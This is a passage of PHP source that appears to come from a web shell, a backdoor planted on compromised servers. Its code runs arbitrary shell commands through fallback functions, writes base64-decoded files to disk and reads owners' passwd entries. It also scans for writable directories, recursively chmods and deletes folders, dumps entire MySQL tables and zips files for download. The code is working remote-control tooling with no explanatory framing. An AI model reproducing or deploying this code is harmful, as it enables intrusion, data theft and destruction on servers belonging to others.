3176 } elseif(function_exists('passthru')) {
3177 @ob_start();
3178 @passthru($cfe);
3179 $res = @ob_get_contents();
3180 @ob_end_clean();
3181 } elseif(@is_resource($f = @popen($cfe,"r"))) {
3182 $res = '';
3183 while(!@feof($f)) {
3184 $res .= @fread($f,1024);
3185 }
3186 @pclose($f);
3187 }
3188 }
3189 return $res;
3190}
3191function which($pr) {
3192 $path = execute("which $pr");
3193 return ($path ? $path : $pr);
3194}
3195
3196function cf($fname,$text){
3197 if($fp=@fopen($fname,'w')) {
3198 @fputs($fp,@base64_decode($text));
3199 @fclose($fp);
3200 }
3201}
3202
3203// Debug
3204function debuginfo() {
3205 global $starttime;
3206 $mtime = explode(' ', microtime());
3207 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
3208 echo 'Processed in '.$totaltime.' second(s)';
3209}
3210
3211// Function connect database
3212function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
3213 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
3214 p('<h2>Can not connect to MySQL server</h2>');
3215 exit;
3216 }
3217 if($link && $dbname) {
3218 if (!@mysql_select_db($dbname, $link)) {
3219 p('<h2>Database selected has error</h2>');
3220 exit;
3221 }
3222 }
3223 if($link && mysql_get_server_info() > '4.1') {
3224 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
3225 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
3226 }
3227 }
3228 return $link;
3229}
3230
3231// Array strip
3232function s_array(&$array) {
3233 if (is_array($array)) {
3234 foreach ($array as $k => $v) {
3235 $array[$k] = s_array($v);
3236 }
3237 } else if (is_string($array)) {
3238 $array = stripslashes($array);
3239 }
3240 return $array;
3241}
3242
3243// HTML Strip
3244function html_clean($content) {
3245 $content = htmlspecialchars($content);
3246 $content = str_replace("\n", "<br />", $content);
3247 $content = str_replace(" ", " ", $content);
3248 $content = str_replace("\t", " ", $content);
3249 return $content;
3250}
3251
3252// Chmod
3253function getChmod($filepath){
3254 return substr(base_convert(@fileperms($filepath),10,8),-4);
3255}
3256
3257function getPerms($filepath) {
3258 $mode = @fileperms($filepath);
3259 if (($mode & 0xC000) === 0xC000) {$type = 's';}
3260 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
3261 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
3262 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
3263 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
3264 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
3265 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
3266 else {$type = '?';}
3267
3268 $owner['read'] = ($mode & 00400) ? 'r' : '-';
3269 $owner['write'] = ($mode & 00200) ? 'w' : '-';
3270 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
3271 $group['read'] = ($mode & 00040) ? 'r' : '-';
3272 $group['write'] = ($mode & 00020) ? 'w' : '-';
3273 $group['execute'] = ($mode & 00010) ? 'x' : '-';
3274 $world['read'] = ($mode & 00004) ? 'r' : '-';
3275 $world['write'] = ($mode & 00002) ? 'w' : '-';
3276 $world['execute'] = ($mode & 00001) ? 'x' : '-';
3277
3278 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
3279 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
3280 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
3281
3282 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
3283}
3284
3285function getUser($filepath) {
3286 if (function_exists('posix_getpwuid')) {
3287 $array = @posix_getpwuid(@fileowner($filepath));
3288 if ($array && is_array($array)) {
3289 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3290 }
3291 }
3292 return '';
3293}
3294
3295// Delete dir
3296function deltree($deldir) {
3297 $mydir=@dir($deldir);
3298 while($file=$mydir->read()) {
3299 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
3300 @chmod($deldir.'/'.$file,0777);
3301 deltree($deldir.'/'.$file);
3302 }
3303 if (is_file($deldir.'/'.$file)) {
3304 @chmod($deldir.'/'.$file,0777);
3305 @unlink($deldir.'/'.$file);
3306 }
3307 }
3308 $mydir->close();
3309 @chmod($deldir,0777);
3310 return @rmdir($deldir) ? 1 : 0;
3311}
3312
3313// Background
3314function bg() {
3315 global $bgc;
3316 return ($bgc++%2==0) ? 'alt1' : 'alt2';
3317}
3318
3319// Get path
3320function getPath($scriptpath, $nowpath) {
3321 if ($nowpath == '.') {
3322 $nowpath = $scriptpath;
3323 }
3324 $nowpath = str_replace('\\', '/', $nowpath);
3325 $nowpath = str_replace('//', '/', $nowpath);
3326 if (substr($nowpath, -1) != '/') {
3327 $nowpath = $nowpath.'/';
3328 }
3329 return $nowpath;
3330}
3331
3332// Get up path
3333function getUpPath($nowpath) {
3334 $pathdb = explode('/', $nowpath);
3335 $num = count($pathdb);
3336 if ($num > 2) {
3337 unset($pathdb[$num-1],$pathdb[$num-2]);
3338 }
3339 $uppath = implode('/', $pathdb).'/';
3340 $uppath = str_replace('//', '/', $uppath);
3341 return $uppath;
3342}
3343
3344// Config
3345function getcfg($varname) {
3346 $result = get_cfg_var($varname);
3347 if ($result == 0) {
3348 return 'No';
3349 } elseif ($result == 1) {
3350 return 'Yes';
3351 } else {
3352 return $result;
3353 }
3354}
3355
3356// Function name
3357function getfun($funName) {
3358 return (false !== function_exists($funName)) ? 'Yes' : 'No';
3359}
3360
3361function GetList($dir){
3362 global $dirdata,$j,$nowpath;
3363 !$j && $j=1;
3364 if ($dh = opendir($dir)) {
3365 while ($file = readdir($dh)) {
3366 $f=str_replace('//','/',$dir.'/'.$file);
3367 if($file!='.' && $file!='..' && is_dir($f)){
3368 if (is_writable($f)) {
3369 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3370 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3371 $dirdata[$j]['dirchmod']=getChmod($f);
3372 $dirdata[$j]['dirperm']=getPerms($f);
3373 $dirdata[$j]['dirlink']=ue($dir);
3374 $dirdata[$j]['server_link']=$f;
3375 $dirdata[$j]['client_link']=ue($f);
3376 $j++;
3377 }
3378 GetList($f);
3379 }
3380 }
3381 closedir($dh);
3382 clearstatcache();
3383 return $dirdata;
3384 } else {
3385 return array();
3386 }
3387}
3388
3389function qy($sql) {
3390 //echo $sql.'<br>';
3391 $res = $error = '';
3392 if(!$res = @mysql_query($sql)) {
3393 return 0;
3394 } else if(is_resource($res)) {
3395 return 1;
3396 } else {
3397 return 2;
3398 }
3399 return 0;
3400}
3401
3402function q($sql) {
3403 return @mysql_query($sql);
3404}
3405
3406function fr($qy){
3407 mysql_free_result($qy);
3408}
3409
3410function sizecount($size) {
3411 if($size > 1073741824) {
3412 $size = round($size / 1073741824 * 100) / 100 . ' G';
3413 } elseif($size > 1048576) {
3414 $size = round($size / 1048576 * 100) / 100 . ' M';
3415 } elseif($size > 1024) {
3416 $size = round($size / 1024 * 100) / 100 . ' K';
3417 } else {
3418 $size = $size . ' B';
3419 }
3420 return $size;
3421}
3422
3423// Zip
3424class PHPZip{
3425 var $out='';
3426 function PHPZip($dir) {
3427 if (@function_exists('gzcompress')) {
3428 $curdir = getcwd();
3429 if (is_array($dir)) $filelist = $dir;
3430 else{
3431 $filelist=$this -> GetFileList($dir);//File list
3432 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
3433 }
3434 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
3435 else chdir($curdir);
3436 if (count($filelist)>0){
3437 foreach($filelist as $filename){
3438 if (is_file($filename)){
3439 $fd = fopen ($filename, 'r');
3440 $content = @fread ($fd, filesize($filename));
3441 fclose ($fd);
3442 if (is_array($dir)) $filename = basename($filename);
3443 $this -> addFile($content, $filename);
3444 }
3445 }
3446 $this->out = $this -> file();
3447 chdir($curdir);
3448 }
3449 return 1;
3450 }
3451 else return 0;
3452 }
3453
3454 // Show file list
3455 function GetFileList($dir){
3456 static $a;
3457 if (is_dir($dir)) {
3458 if ($dh = opendir($dir)) {
3459 while ($file = readdir($dh)) {
3460 if($file!='.' && $file!='..'){
3461 $f=$dir .'/'. $file;
3462 if(is_dir($f)) $this->GetFileList($f);
3463 $a[]=$f;
3464 }
3465 }
3466 closedir($dh);
3467 }
3468 }
3469 return $a;
3470 }
3471
3472 var $datasec = array();
3473 var $ctrl_dir = array();
3474 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
3475 var $old_offset = 0;
3476
3477 function unix2DosTime($unixtime = 0) {
3478 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
3479 if ($timearray['year'] < 1980) {
3480 $timearray['year'] = 1980;
3481 $timearray['mon'] = 1;
3482 $timearray['mday'] = 1;
3483 $timearray['hours'] = 0;
3484 $timearray['minutes'] = 0;
3485 $timearray['seconds'] = 0;
3486 } // end if
3487 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
3488 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
3489 }
3490
3491 function addFile($data, $name, $time = 0) {
3492 $name = str_replace('\\', '/', $name);
3493
3494 $dtime = dechex($this->unix2DosTime($time));
3495 $hexdtime = '\x' . $dtime[6] . $dtime[7]
3496 . '\x' . $dtime[4] . $dtime[5]
3497 . '\x' . $dtime[2] . $dtime[3]
3498 . '\x' . $dtime[0] . $dtime[1];
3499 eval('$hexdtime = "' . $hexdtime . '";');
3500 $fr = "\x50\x4b\x03\x04";
3501 $fr .= "\x14\x00";
3502 $fr .= "\x00\x00";
3503 $fr .= "\x08\x00";
3504 $fr .= $hexdtime;
3505
3506 $unc_len = strlen($data);
3507 $crc = crc32($data);
3508 $zdata = gzcompress($data);
3509 $c_len = strlen($zdata);
3510 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
3511 $fr .= pack('V', $crc);
3512 $fr .= pack('V', $c_len);
3513 $fr .= pack('V', $unc_len);
3514 $fr .= pack('v', strlen($name));
3515 $fr .= pack('v', 0);
3516 $fr .= $name;
3517 $fr .= $zdata;
3518 $fr .= pack('V', $crc);
3519 $fr .= pack('V', $c_len);
3520 $fr .= pack('V', $unc_len);
3521
3522 $this -> datasec[] = $fr;
3523 $new_offset = strlen(implode('', $this->datasec));
3524
3525 $cdrec = "\x50\x4b\x01\x02";
3526 $cdrec .= "\x00\x00";
3527 $cdrec .= "\x14\x00";
3528 $cdrec .= "\x00\x00";
3529 $cdrec .= "\x08\x00";
3530 $cdrec .= $hexdtime;
3531 $cdrec .= pack('V', $crc);
3532 $cdrec .= pack('V', $c_len);
3533 $cdrec .= pack('V', $unc_len);
3534 $cdrec .= pack('v', strlen($name) );
3535 $cdrec .= pack('v', 0 );
3536 $cdrec .= pack('v', 0 );
3537 $cdrec .= pack('v', 0 );
3538 $cdrec .= pack('v', 0 );
3539 $cdrec .= pack('V', 32 );
3540 $cdrec .= pack('V', $this -> old_offset );
3541 $this -> old_offset = $new_offset;
3542 $cdrec .= $name;
3543
3544 $this -> ctrl_dir[] = $cdrec;
3545 }
3546
3547 function file() {
3548 $data = implode('', $this -> datasec);
3549 $ctrldir = implode('', $this -> ctrl_dir);
3550 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
3551 }
3552}
3553
3554// Dump mysql
3555function sqldumptable($table, $fp=0) {
3556 $tabledump = "DROP TABLE IF EXISTS $table;\n";
3557 $tabledump .= "CREATE TABLE $table (\n";
3558
3559 $firstfield=1;
3560
3561 $fields = q("SHOW FIELDS FROM $table");
3562 while ($field = mysql_fetch_array($fields)) {
3563 if (!$firstfield) {
3564 $tabledump .= ",\n";
3565 } else {
3566 $firstfield=0;
3567 }
3568 $tabledump .= " $field[Field] $field[Type]";
3569 if (!empty($field["Default"])) {
3570 $tabledump .= " DEFAULT '$field[Default]'";
3571 }
3572 if ($field['Null'] != "YES") {
3573 $tabledump .= " NOT NULL";
3574 }
3575 if ($field['Extra'] != "") {
3576 $tabledump .= " $field[Extra]";
3577 }
3578 }
3579 fr($fields);
3580
3581 $keys = q("SHOW KEYS FROM $table");
3582 while ($key = mysql_fetch_array($keys)) {
3583 $kname=$key['Key_name'];
3584 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
3585 $kname="UNIQUE|$kname";
3586 }
3587 if(!is_array($index[$kname])) {
3588 $index[$kname] = array();
3589 }
3590 $index[$kname][] = $key['Column_name'];
3591 }
3592 fr($keys);
3593
3594 while(list($kname, $columns) = @each($index)) {
3595 $tabledump .= ",\n";
3596 $colnames=implode($columns,",");
3597
3598 if ($kname == "PRIMARY") {
3599 $tabledump .= " PRIMARY KEY ($colnames)";
3600 } else {
3601 if (substr($kname,0,6) == "UNIQUE") {
3602 $kname=substr($kname,7);
3603 }
3604 $tabledump .= " KEY $kname ($colnames)";
3605 }
3606 }
3607
3608 $tabledump .= "\n);\n\n";
3609 if ($fp) {
3610 fwrite($fp,$tabledump);
3611 } else {
3612 echo $tabledump;
3613 }
3614
3615 $rows = q("SELECT * FROM $table");
3616 $numfields = mysql_num_fields($rows);
3617 while ($row = mysql_fetch_array($rows)) {
3618 $tabledump = "INSERT INTO $table VALUES(";
3619
3620 $fieldcounter=-1;
3621 $firstfield=1;
3622 while (++$fieldcounter<$numfields) {
3623 if (!$firstfield) {
3624 $tabledump.=", ";
3625 } else {
3626 $firstfield=0;
3627 }
3628
3629 if (!isset($row[$fieldcounter])) {
3630 $tabledump .= "NULL";
3631 } else {
3632 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
3633 }
3634 }
3635
3636 $tabledump .= ");\n";
3637
3638 if ($fp) {
3639 fwrite($fp,$tabledump);
3640 } else {
3641 echo $tabledump;
3642 }
3643 }
3644 fr($rows);
3645 if ($fp) {
3646 fwrite($fp,"\n");
3647 } else {
3648 echo "\n";
3649 }
3650}
3651
3652function ue($str){
3653 return urlencode($str);
3654}
3655
3656function p($str){
3657 echo $str."\n";
3658}
3659
3660function tbhead() {
3661 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
3662}
3663function tbfoot(){
3664 p('</table>');
3665}
3666
3667function makehide($name,$value=''){
3668 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
3669}
3670
3671function makeinput($arg = array()){
3672 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
3673 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
3674 !$arg['type'] && $arg['type'] = 'text';
3675 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3676 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
3677 if ($arg['newline']) {
3678 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
3679 } else {
3680 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
3681 }
3682}
3683
3684function makeselect($arg = array()){
3685 if ($arg['onchange']) {
3686 $onchange = 'onchange="'.$arg['onchange'].'"';
3687 }
3688 $arg['title'] = $arg['title'] ? $arg['title'] : '';
3689 if ($arg['newline']) p('<p>');
3690 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
3691 if (is_array($arg['option'])) {
3692 foreach ($arg['option'] as $key=>$value) {
3693 if ($arg['selected']==$key) {
3694 p("<option value=\"$key\" selected>$value</option>");
3695 } else {
3696 p("<option value=\"$key\">$value</option>");
3697 }
3698 }
3699 }
3700 p("</select>");
3701 if ($arg['newline']) p('</p>');
3702}
3703function formhead($arg = array()) {
3704 !$arg['method'] && $arg['method'] = 'post';
3705 !$arg['action'] && $arg['action'] = $self;
3706 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
3707 !$arg['name'] && $arg['name'] = 'form1';
3708 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
3709 if ($arg['title']) {
3710 p('<h2>'.$arg['title'].' »</h2>');
3711 }
3712}
3713
3714function maketext($arg = array()){
3715 !$arg['cols'] && $arg['cols'] = 100;
3716 !$arg['rows'] && $arg['rows'] = 25;
3717 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3718 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
3719}
3720
3721function formfooter($name = ''){
3722 !$name && $name = 'submit';
3723 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
3724 p('</form>');
3725}
3726
3727function formfoot(){
3728 p('</form>');
3729}
3730
3731// Exit
3732function pr($a) {
3733 echo '<pre>';
3734 print_r($a);
3735 echo '</pre>';
3736}
3737
3738?>